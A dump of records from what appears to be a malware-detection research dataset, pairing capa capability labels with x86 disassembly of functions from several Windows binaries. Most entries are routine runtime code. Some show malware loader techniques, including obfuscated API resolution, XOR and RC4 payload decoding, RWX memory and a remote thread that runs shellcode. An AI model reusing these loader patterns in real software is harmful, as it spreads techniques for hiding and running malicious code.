joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x10010930
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1001093f
pop dword [ebp - 0x30]
mov eax, 0x1001093f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xc0f15ec5
add dword [ebp - 0x40], 0x8d60e686
mov dword [ebp - 0x3c], 0x9b0b5a5d
add dword [ebp - 0x3c], 0x9727f1e8
mov dword [ebp - 0x38], 0x9256b80e
sub dword [ebp - 0x38], 0x460a73e0
mov dword [ebp - 0x34], 0x184283d8
add dword [ebp - 0x34], 0xe7bd7c28
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xe5db09d6
add dword [ebp - 0x40], 0x8e975f80
mov dword [ebp - 0x3c], 0x182788ed
sub dword [ebp - 0x3c], 0xd6bb2778
mov dword [ebp - 0x38], 0xb2eba78
add dword [ebp - 0x38], 0x5840b1f4
mov dword [ebp - 0x34], 0x93e4357d
sub dword [ebp - 0x34], 0x93e4357d
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x853eccf8
sub eax, 0x753d6c94
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38f6c
push 0
call eax
mov ecx, 0x22cd9322
add ecx, 0xdd32ba4c
xor edx, edx
add edx, eax
mov edi, 0xef05100f
sub edi, 0xdf02da0f
add edi, dword [ebp - 0x30]
mov esi, 0xf15f554a
add esi, 0x8a1351d4
sub dword [ebp - 0x18], ebx
mov ebx, dword [edi]
mov dword [ebp - 0x2c], 0xf8ec022d
xor ebx, esi
add dword [ebp - 4], edi
mov dword [edx], ebx
xor dword [ebp - 0x14], edi
add edx, 0x4b7dedee
add edx, 0xb4821216
add edi, 0x30569b25
add edi, 0xcfa964df
loop 0x10010a59
add eax, 0x6b4161d7
sub eax, 0x6b40394c
mov ebx, eax
add eax, 5
mov ecx, 0x46bb6905
add ecx, 0xc94496fb
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401c27
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x220
mov eax, dword [0x441b00]
xor eax, esp
mov dword [esp + 0x21c], eax
mov eax, dword [esp + 0x224]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x238]
xor ebp, ebp
push edi
mov dword [esp + 0x28], eax
mov ecx, ebp
mov ebx, 0x100
mov eax, ecx
mov byte [esp + ecx + 0x2c], cl
cdq
idiv dword [esp + 0x240]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, ebx
jl 0x401c5a
mov esi, ebp
mov edi, ebp
mov dl, byte [esp + esi + 0x2c]
movzx eax, byte [esp + esi + 0x12c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401c9e
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x2c]
mov byte [esp + esi + 0x2c], al
inc esi
mov byte [esp + edi + 0x2c], dl
cmp esi, ebx
jl 0x401c7b
mov ecx, ebp
mov edx, ebp
mov edi, ebp
cmp dword [esp + 0x238], ecx
jle 0x401d9d
mov dword [esp + 0x24], ebp
inc ecx
and ecx, 0x800000ff
jns 0x401cd7
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [esp + ecx + 0x2c]
movzx esi, bl
add edx, esi
mov dword [esp + 0x1c], ecx
and edx, 0x800000ff
jns 0x401cf4
dec edx
or edx, 0xffffff00
inc edx
lea eax, [esp + 0x24]
mov dword [esp + 0x20], edx
push eax
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.004013ee
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
sub eax, ebp
sar eax, 2
mov eax, dword [ebp + eax*4 - 4]
add eax, 0x41c300
push eax
push 0x442988
call fcn.004010d0
mov edx, dword [esp + 0x28]
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + edx + 0x2c]
mov byte [esp + ecx + 0x2c], al
mov byte [esp + edx + 0x2c], bl
movzx eax, byte [esp + ecx + 0x2c]
mov ebx, dword [esp + 0x28]
add eax, esi
movzx eax, al
mov al, byte [esp + eax + 0x2c]
xor byte [ebx + edi], al
test ebp, ebp
je 0x401d8d
mov eax, dword [esp + 0x18]
sub eax, ebp
and eax, 0xfffffffc
push eax
push ebp
call fcn.004013c2
mov edx, dword [esp + 0x28]
xor ebp, ebp
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
jmp 0x401d8f
xor ebp, ebp
inc edi
cmp edi, dword [esp + 0x238]
jl 0x401cc6
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404ae9
add esp, 0x220
ret

Function at 0x4020fc
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x402127
mov al, byte [edx + ecx]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [esp + 8]
jb 0x402108
ret
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441b00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404aab
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x441630
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x29
push section..data
push 0x1b600
mov esi, str.8d
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4417b8
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret

Function at 0x4039ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a0e
jl 0x403a05
test edi, edi
jne 0x403a0e
xor eax, eax
xor edx, edx
jmp 0x403acf
cmp dword [ebx + 0x38], 0
je 0x403a23
push eax
push edi
push dword [ebp + 8]
call fcn.00403ad5
jmp 0x403acf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a6a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a6a
cmp eax, edi
jb 0x403a44
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405610
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a70
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ac4
mov ecx, ebx
call fcn.00403116
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403aaf
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a942
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ac4
jmp 0x403a82
test edx, edx
je 0x403ac4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a942
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x405260
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40529f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40529f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40529f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40529f
cmp dword [ecx + 0x74], 0xe
jbe 0x40529f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40fac6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f3d8
push 0x41f3d0
push str.FlsAlloc
push 0x1e
call fcn.0040f933
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40fafa
push dword [ebp + 8]
mov ecx, esi
call dword [0x41c154]
call esi
jmp 0x40fb00
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40fb44
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f3e8
push 0x41f3e0
push str.FlsGetValue
push 0x20
call fcn.0040f933
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40fb7b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41c154]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x411093
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410f04

Function at 0x41148d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004055e0
mov eax, dword [0x441b00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004100f9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4114cf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41162b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041b320
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x443420]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00412484
mov ecx, dword [esi*4 + 0x443420]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x411624
cmp eax, dword [edi + ecx + 0x24]
jne 0x411624
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411624
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00412484
add esp, 0x14
test edx, edx
jl 0x411624
jg 0x41159a
test eax, eax
jb 0x411624
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x411624
jl 0x4115b4
cmp dword [ebp - 0x1008], eax
ja 0x411624
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4115d2
test ebx, ebx
je 0x41160b
cmp ecx, edi
jae 0x41160b
mov al, byte [ecx]
cmp al, 0xd
jne 0x4115ec
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4115f8
cmp byte [ecx + 1], 0xa
jne 0x4115f8
inc ecx
jmp 0x4115f8
movzx eax, al
movsx eax, byte [eax + 0x441db8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4115d2
cmp edx, ebx
jne 0x4115d2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x411629
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret
Function at 0x411922
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x443420]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411962
cmp byte [ebx], 0xa
jne 0x411962
or byte [eax + edi + 0x28], 4
jmp 0x411967
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411a65
mov al, byte [edx]
cmp al, 0x1a
je 0x411a47
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x411996
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4119bb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4119c5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411978
jmp 0x411a65
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411a42
cmp dword [ebp - 0xc], 0
je 0x411a42
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x443420]
test byte [eax + edi + 0x28], 0x48
je 0x411a1c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411a07
mov byte [esi], dl
jmp 0x411a18
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x443420]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411a65
cmp byte [ebp - 1], 0xa
jne 0x411a2b
cmp esi, ebx
jne 0x411a2b
mov byte [esi], 0xa
jmp 0x411a64
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411a65
mov byte [esi], 0xd
jmp 0x411a64
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x443420]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411a61
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411a65
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x411a6e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x443420]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411ab1
cmp word [esi], dx
jne 0x411ab1
or byte [edi + eax + 0x28], 4
jmp 0x411ab6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411c09
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411be9
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411af8
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x411b2e
cmp eax, edx
jae 0x411b3a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411ad0
jmp 0x411c09
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411be5
cmp dword [ebp - 0x14], 0
je 0x411be5
mov eax, dword [ebx*4 + 0x443420]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x411bbd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x411b86
mov word [esi], cx
jmp 0x411bb9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x443420]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x443420]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x443420]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411c09
pop ebx
cmp word [ebp - 4], bx
jne 0x411bce
cmp esi, dword [ebp + 0xc]
jne 0x411bce
mov word [esi], bx
jmp 0x411c06
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x411c09
push 0xd
jmp 0x411c02
mov ecx, dword [ebx*4 + 0x443420]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411c00
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411c09
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x415676
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x415713
push ebx
push esi
call fcn.0041563f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004142c4
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4156c0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415712
push edi
push eax
call fcn.00412681
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4156e0
call fcn.0040f658
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415711
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004142c4
add esp, 0x20
test eax, eax
jne 0x4156ff
push edi
call fcn.0040f658
jmp 0x415707
push ebx
call fcn.0040f658
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41b2e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b30d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b30d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x2a801bd0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2a919eec]
jne 0x2a801bda
repz ret
jmp fcn.2a85b1d0

Function at 0x2a80b1e7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [sym.imp.kernel32.dll_GetTickCount]
push edi
call esi
mov edi, eax
shr edi, 4
call esi
shr eax, 4
sub eax, edi
cmp eax, 0xc
jbe 0x2a80b1f6
pop edi
pop esi
ret

Function at 0x2a80bbb1
Capabilities:
Read file on windows

Disassembly:
push 0x90
mov eax, 0x2a8cd1ec
call fcn.2a801426
mov ebx, ecx
xor esi, esi
push 0x14
lea eax, [ebp - 0x64]
push esi
push eax
mov dword [ebp - 0x18], esi
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_CreateEventA]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebx + 8]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx + 0x14]
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], ecx
cmp eax, 0xffffffff
jne 0x2a80bc36
push esi
push eax
push str.Failed_to_create_connection
lea ecx, [ebp - 0x50]
call fcn.2a8013d4
mov byte [ebp - 4], 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x38], vtable.RSException.0
call fcn.2a807c17
mov dword [ebp - 0x38], vtable.CMessageException.0
push 0x2a90b57c
lea eax, [ebp - 0x38]
push eax
call sub.MSVCR100.dll__CxxThrowException
mov edi, dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
cmp eax, esi
jne 0x2a80bd10
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a80bcc0
cmp eax, 0x6d
je 0x2a80bd30
push esi
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x50]
call fcn.2a8013d4
mov byte [ebp - 4], 3
jmp 0x2a80bc0e
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push 2
call edi
cmp eax, 1
je 0x2a80bcce
push esi
push esi
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
cmp eax, esi
je 0x2a80bcc0
cmp eax, 0xffffffff
je 0x2a80bd10
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push 2
call edi
test eax, eax
jne 0x2a80bc87
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x14]
push eax
push 2
call edi
sub eax, esi
je 0x2a80bcf9
dec eax
jne 0x2a80bc3c
lea ecx, [ebp - 0x80]
call fcn.2a80ba26
push 0x2a90b56c
lea eax, [ebp - 0x80]
jmp 0x2a80bc30
push 1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x2a80bd25
push dword [ebp - 0x1c]
or dword [ebp - 4], 0xffffffff
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a801635
ret 8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
jne 0x2a80bd4b
lea ecx, [ebp - 0x9c]
call fcn.2a80ba26
push 0x2a90b56c
lea eax, [ebp - 0x9c]
jmp 0x2a80bc30
push esi
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x50]
call fcn.2a8013d4
mov byte [ebp - 4], 2
jmp 0x2a80bc0e
Function at 0x2a81bccd
Capabilities:
Encode data using base64

Disassembly:
push 0x10
mov eax, 0x2a8ce50c
call fcn.2a801426
xor esi, esi
mov dword [ebp - 0x18], esi
mov edi, dword [ebp + 8]
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], esi
mov byte [edi], 0
xor eax, eax
inc eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], eax
test byte [0x2a91fae8], al
jne 0x2a81bd2a
or dword [0x2a91fae8], eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xb]
push eax
push 0x2a8d3d90
mov ecx, 0x2a91fac8
call fcn.2a83ed5f
push 0x2a8d2ef5
call fcn.2a83ed5f
pop ecx
mov byte [ebp - 4], 0
cmp dword [ebp + 0x10], esi
je 0x2a81be69
mov eax, dword [ebp + 0xc]
dec dword [ebp + 0x10]
mov al, byte [eax]
mov byte [ebp + esi - 0x10], al
mov bl, byte [ebp - 0xf]
inc esi
inc dword [ebp + 0xc]
cmp esi, 3
jne 0x2a81bdb4
mov al, byte [ebp - 0x10]
shr al, 2
mov byte [ebp - 0x14], al
mov al, byte [ebp - 0x10]
and al, 3
shl al, 4
mov cl, bl
shr cl, 4
add al, cl
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0x13], al
mov al, bl
and al, 0xf
shl al, 2
shr cl, 6
add al, cl
mov byte [ebp - 0x12], al
mov al, byte [ebp - 0xe]
and al, 0x3f
mov byte [ebp - 0x11], al
xor esi, esi
cmp dword [0x2a91fadc], 0x10
mov eax, dword [0x2a91fac8]
jae 0x2a81bd95
mov eax, 0x2a91fac8
movzx ecx, byte [ebp + esi - 0x14]
mov al, byte [ecx + eax]
mov byte [ebp - 0x1c], al
push dword [ebp - 0x1c]
mov ecx, edi
push 1
call fcn.2a83ed5f
inc esi
cmp esi, 4
jl 0x2a81bd82
xor esi, esi
cmp dword [ebp + 0x10], 0
jne 0x2a81bd33
test esi, esi
je 0x2a81be69
cmp esi, 3
jge 0x2a81bde3
push 3
pop ecx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x10]
push 0
push eax
call sub.MSVCR100.dll_memset
mov bl, byte [ebp - 0xf]
add esp, 0xc
mov al, byte [ebp - 0x10]
mov cl, al
shr cl, 2
mov byte [ebp - 0x14], cl
and al, 3
mov cl, bl
shl al, 4
shr cl, 4
add al, cl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0xe]
and bl, 0xf
mov cl, al
shl bl, 2
shr cl, 6
add bl, cl
mov byte [ebp - 0x12], bl
and al, 0x3f
lea ebx, [esi + 1]
xor edi, edi
mov byte [ebp - 0x11], al
test ebx, ebx
